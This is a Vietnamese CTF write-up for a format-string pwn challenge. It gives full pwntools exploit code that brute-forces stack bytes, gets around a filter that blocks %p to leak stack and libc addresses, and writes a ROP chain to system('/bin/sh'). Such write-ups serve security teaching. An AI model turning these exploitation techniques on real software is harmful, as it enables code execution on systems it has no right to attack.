Page cover

😞Pwn06 - Ez_Fmt_str

Challenge

3 file mà mình nhận được:

Patched nó trước tiên.

Script

Ta xem qua source của nó thì nó từ chối những kí tự sau đây:

Đoạn trên đã chặn chắc format quan trọng như:| %s | %p | %x | ==> Vậy nên chỉ còn %n và %c dùng để ghi đè

Để làm được các dạng bài format strings như này thì cần phải leak được stack, leak được libc

Cụ thể thì tôi sẽ follow nó như sau

Bước 1: Xác định con trỏ trả về

Xem kĩ hơn thì ta thấy được 2 con trỏ cần thiết cho việc khai thác này nó ở vị trí offset thứ 21(0x78), 36(0xf0)49(0x158).

Bước 2: Leak địa chỉ stack và libc

Để leak được 1 địa chỉ nào đó ra bên ngoài ta buộc phải sử dụng %p. Mà %p đang bị restrict bởi hàm restrict vậy tôi sẽ chọn cách ghi đè như sau:

Phần này tôi sẽ giải thích sau

Nhưng để ghi đè được thì ta phải có địa chỉ của stack:

Do địa chỉ của stack chỉ khác nhau ở các 2 bytes cuối. Vậy nên tôi sẽ brute force 1 chút.

Biết được 2 bytes cuối thông qua format %c

Vậy payload để tôi leak sẽ là:

from pwn import *

elf = context.binary = ELF("./ez_fmt_patched")
libc = ELF("./libc.so.6")
r = elf.process()

def debug():
    context.log_level = "DEBUG"

debug()
gdb.attach(r, '''
    b*main+112\n
    c
''')

r.sendlineafter(b"Service :##", b"%21$c")
r.recv()
last_byte = u8(r.recv(1))
log.success(f"Last byte: {hex(last_byte)}")

r.interactive()

Tiếp đến là guessing nhưng tôi sẽ guessing phần input:

Bây giờ tôi sẽ ghi đè con trỏ đằng sau input (cụ thể là input + 0x20 - tránh trường hợp bị lỗi và thay đổi đầu vào) vào offset 21 trước và tiến hành ghi byte "1" vào offset 49. Sau đó leak ra offset (input + 0x20) và kiểm tra xem nó có bằng byte "1" hay không. Nếu bằng thì in ra guess byte đó. Phần này sẽ làm điều đó:

guess_byte = 0
for i in range(0x0, 0x100, 0x1):
    guess_byte = i * 0x100 + last_byte
    log.info(f"Guess byte: {hex(guess_byte)}  -->  {guess_byte}")
    payload = f"%{guess_byte+0x20}c%21$hn|||".encode()
    r.sendline(payload)
    payload = '%49c%49$hhnmmm'.encode()
    r.sendline(payload)
    r.sendlineafter(b'mmm\n', b'%10$cmmm') #Leak byte at offset 10, 42, 74
    recv = r.recvuntil(b'mmm\n')
    if(recv[0] == 49):  #0x20
        log.success("Breaking by offset 10")
        debug()
        break

log.success('Guess: %#x' % guess_byte)

Và tôi đã biết được 2 bytes cuối

Để ý 1 xíu nữa thì bạn có thể tìm kiếm ra con trỏ trả về ở hàm printf:

Nó nằm ngay trên input (guess_byte-0x8).

Và có 1 bộ đôi con trỏ biến môi trường nữa như ảnh sau:

Kết hợp 2 điều trên, tôi sẽ tạo ra 3 payload có chức năng nhảy qua hàm restricted_filter và ghi đè con trỏ %p vào trong payload để có thể leak ra địa chỉ như sau:

Đoạn payload đây
payload = f'%{guess_byte-8}c%21$hnmmm'.encode()  
#overwrite offset 21 to return address of printf to offset 49 can overwrite to <main+100>
r.sendline(payload)
payload = f'%{guess_byte+8}c%37$hnmmm'.encode() #offset37: 0xf8
r.sendlineafter(b'mmm\n', payload)
 #  0x2b + 0x45 == 0x70 == "p"  #
payload = f'%{0x45}c%49$hhn%{0x2b}c%51$hhnmmm'.encode()
# 0x45 is last byte of <main+100>
r.sendlineafter(b'mmm\n', payload)

Và pây giờ printf sẽ được gọi 1 lần nữa và leak ra địa chỉ của stack:

Thêm 4 dòng này vào sẽ giúp tôi lấy ra được địa chỉ của stack.

r.recvuntil(b'mmm\n')
r.recv(0x45)
stack = int(r.recv(14), 16) + 8
log.success('Input address: %#x' % stack)

OKE, vậy tôi đã leak được địa chỉ của stack, địa chỉ tiếp theo tôi muốn leak đó là địa chỉ của libc.

Làm tương tự với cách leak của stack

Tôi sẽ tiến hành leak ra địa chỉ của offset 19.

Payload của tôi sẽ kết hợp như sau:

Thay đổi địa chỉ ở màu xanh thành main+100(nếu ko sẽ bị ngắt) và màu đỏ sẽ thành %19$p

Payload để thực hiện phần này:

payload = f'%{guess_byte-8}c%21$hnmmm'.encode()  # 49 - 21
r.sendline(payload)
payload = f'%{guess_byte+6}c%37$hnmmm'.encode() #offset37: 0xf8 - 51
r.sendlineafter(b'mmm\n', payload)
val = int.from_bytes(b"9$p", "little") - 0x45
debug()
payload = f"%{0x45}c%10$hhn%{val}c%51$nmmm".encode().ljust(0x20, b"\0") + p64(stack-8)
r.sendlineafter(b"mmm\n", payload)
r.recvuntil(b'0x')
libc.address = int(r.recv(14),16) - 147635
log.success(f"Libc address: {hex(libc.address)}")

Sau khi leak được 2 địa chỉ quan trọng là buffer(con trỏ input) và địa chỉ libc thì tôi sẽ tiến hành ghi các rop vào để thực thi.

RCE

Sau khi leak xong địa chỉ libc thì tôi nhận được chuỗi stack sau đây:

Tôi sẽ sử dụng 2 con trỏ này để thao tác:

def write(addr, value):
    for i in range(3):
        val = (value >> (16 * i)) & 0xffff
        payload = f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
        r.sendlineafter(b'mmm', payload)

    payload = f'%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + 6)
    r.sendlineafter(b'mmm', payload)

Payload này sẽ tạo ra 2 con trỏ(như ảnh bạn thấy ở trên) và sau đó chỉnh sửa nó thành các giá trị ROP.

Sau khi ghi thì ta sẽ được chuỗi rop như này:

Nhưng bây giờ con trỏ return của printf không trỏ đến chuỗi rop mà chúng ta vừa ghi, vậy nên tôi sẽ chỉnh sửa và cho nó trả về rop gadget: add rsp, 0x68 ; ret

Phần này sẽ giúp bạn sửa nó:

add_rsp_0x68 = 0x000000000010e4fc
addr = libc.address + add_rsp_0x68
part1 = addr & 0xffff
part2 = (addr >> 16) & 0xffff
part3 = (addr >> 32) & 0xffff
payload = gen_payload([[part1, 'hn', 12], [part2, 'hn', 13], [part3, 'hn', 14]])
payload = payload.ljust(0x30, b'\0') + p64(stack-8 + 0) + p64(stack- 8 + 2) + p64(stack-8+4)

Và hàm generate payload của nó là:

def gen_payload(l):
    payload = ''
    sum = 0
    value = 0
    for i in l:
        if i[1] == 'hhn':
            if i[0] < (sum & 0xff):
                value = (i[0] - (sum & 0xff)) + 0x100
            else:
                value = i[0] - (sum & 0xff)
        elif i[1] == 'hn':
            if i[0] < (sum & 0xffff):
                value = (i[0] - (sum & 0xffff)) + 0x10000
            else:
                value = i[0] - (sum & 0xffff)
        elif i[1] == 'n':
            if i[0] < (sum & 0xffffffff):
                value = (i[0] - (sum & 0xffffffff)) + 0x100000000
            else:
                value = i[0] - (sum & 0xffffffff)

        sum += value
        payload += f'%{value}c%{i[2]}$' + i[1]

    return payload.encode()

Tổng kết lại thì tôi có payload như sau:

from pwn import *

elf = context.binary = ELF("./ez_fmt_patched")
libc = ELF("./libc.so.6")
r = elf.process()

def debug():
    gdb.attach(r, '''
        b*main+112\n
        b*printf+198\n
        b*restricted_filter\n
        b*main+68\n
        c
    ''')
context.log_level='DEBUG'
r.sendlineafter(b"Service :##", b"%21$c|||")
r.recv()
last_byte = u8(r.recv(1))
last_byte = (last_byte - 0x158) & 0xff
log.success(f"Last byte: {hex(last_byte)}")

guess_byte = 0
for i in range(0x0, 0x100, 0x1):
    guess_byte = i * 0x100 + last_byte
    log.info(f"Guess byte: {hex(guess_byte)}  -->  {guess_byte}")
    payload = f"%{guess_byte+0x20}c%21$hn|||".encode()
    r.sendline(payload)
    payload = '%50c%49$hhnmmm'.encode()
    r.sendline(payload)
    r.sendlineafter(b'mmm\n', b'%10$cmmm') #Leak byte at offset 10
    recv = r.recvuntil(b'mmm\n')
    if(recv[0] == 50):  #0x20
        log.success("Breaking by offset 10")
        break

log.success('Guess: %#x' % guess_byte)
payload = f'%{guess_byte-8}c%21$hnmmm'.encode()  # 49 - 21
r.sendline(payload)
payload = f'%{guess_byte+8}c%37$hnmmm'.encode() #offset37: 0xf8 - 51
r.sendlineafter(b'mmm\n', payload)
 #  0x2b + 0x45 == 0x70 == "p"  #
payload = f'%{0x45}c%49$hhn%{0x2b}c%51$hhnmmm'.encode()
r.sendlineafter(b'mmm\n', payload)
r.recvuntil(b'mmm\n')
r.recv(0x45)
stack = int(r.recv(14), 16) + 8
log.success('Input address: %#x' % stack)


payload = f'%{guess_byte-8}c%21$hnmmm'.encode()  # 49 - 21
r.sendline(payload)
payload = f'%{guess_byte+6}c%37$hnmmm'.encode() #offset37: 0xf8 - 51
r.sendlineafter(b'mmm\n', payload)
val = int.from_bytes(b"9$p", "little") - 0x45
payload = f"%{0x45}c%10$hhn%{val}c%51$nmmm".encode().ljust(0x20, b"\0") + p64(stack-8)
r.sendlineafter(b"mmm\n", payload)
r.recvuntil(b'0x')
libc.address = int(r.recv(14),16) - 147635
log.success(f"Libc address: {hex(libc.address)}")


pop_rdi = 0x0000000000023b72 + libc.address
ret = 400774 + libc.address
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

r.sendline(b"mmm")
def write(addr, value):
    for i in range(3):
        val = (value >> (16 * i)) & 0xffff
        payload = f'%{val}c%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + (i*2))
        r.sendlineafter(b'mmm', payload)

    payload = f'%10$hnmmm'.encode().ljust(0x20, b'\0') + p64(addr + 6)
    r.sendlineafter(b'mmm', payload)

write(stack+0x68, pop_rdi)
log.success("OKE")
write(stack+0x70, binsh)
log.success("OKE")
write(stack+0x78, ret)
log.success("OKE")
write(stack+0x80, system)
log.success("OKE")
debug()
def gen_payload(l):
    payload = ''
    sum = 0
    value = 0
    for i in l:
        if i[1] == 'hhn':
            if i[0] < (sum & 0xff):
                value = (i[0] - (sum & 0xff)) + 0x100
            else:
                value = i[0] - (sum & 0xff)
        elif i[1] == 'hn':
            if i[0] < (sum & 0xffff):
                value = (i[0] - (sum & 0xffff)) + 0x10000
            else:
                value = i[0] - (sum & 0xffff)
        elif i[1] == 'n':
            if i[0] < (sum & 0xffffffff):
                value = (i[0] - (sum & 0xffffffff)) + 0x100000000
            else:
                value = i[0] - (sum & 0xffffffff)

        sum += value
        payload += f'%{value}c%{i[2]}$' + i[1]

    return payload.encode()

add_rsp_0x68 = 0x000000000010e4fc
addr = libc.address + add_rsp_0x68
part1 = addr & 0xffff
part2 = (addr >> 16) & 0xffff
part3 = (addr >> 32) & 0xffff
payload = gen_payload([[part1, 'hn', 12], [part2, 'hn', 13], [part3, 'hn', 14]])
payload = payload.ljust(0x30, b'\0') + p64(stack-8 + 0) + p64(stack- 8 + 2) + p64(stack-8+4)
r.sendlineafter(b'mmm', payload)
r.interactive()

Và tôi nhận được:

Code chạy 1 vài lần có thể bị lỗi, nhưng vẫn sẽ ra. 🫤

1 vài thứ thú vị mà tôi nhận được:

  • Đó là việc có thể điều khiển các con trỏ môi trường, nó không phải là cố định.

  • Khi có 1 hàm nhập dữ liệu và 1 hàm in dữ liệu(lỗ hổng) thì ta có thể chèn thêm bất cứ địa chỉ nào đằng sau chuỗi format sau đó chuỗi format có thể sửa đổi chính địa chỉ mà ta vừa nhập vào đó.

  • Hoặc ta có thể chỉnh sửa giá trị trong các địa chỉ sau đó có thể dùng %{offset}$c để leak ra, sau đó so sánh giá trị chỉnh sửa chúng để kiểm tra tính đúng đắn

Reading funny!!!

Last updated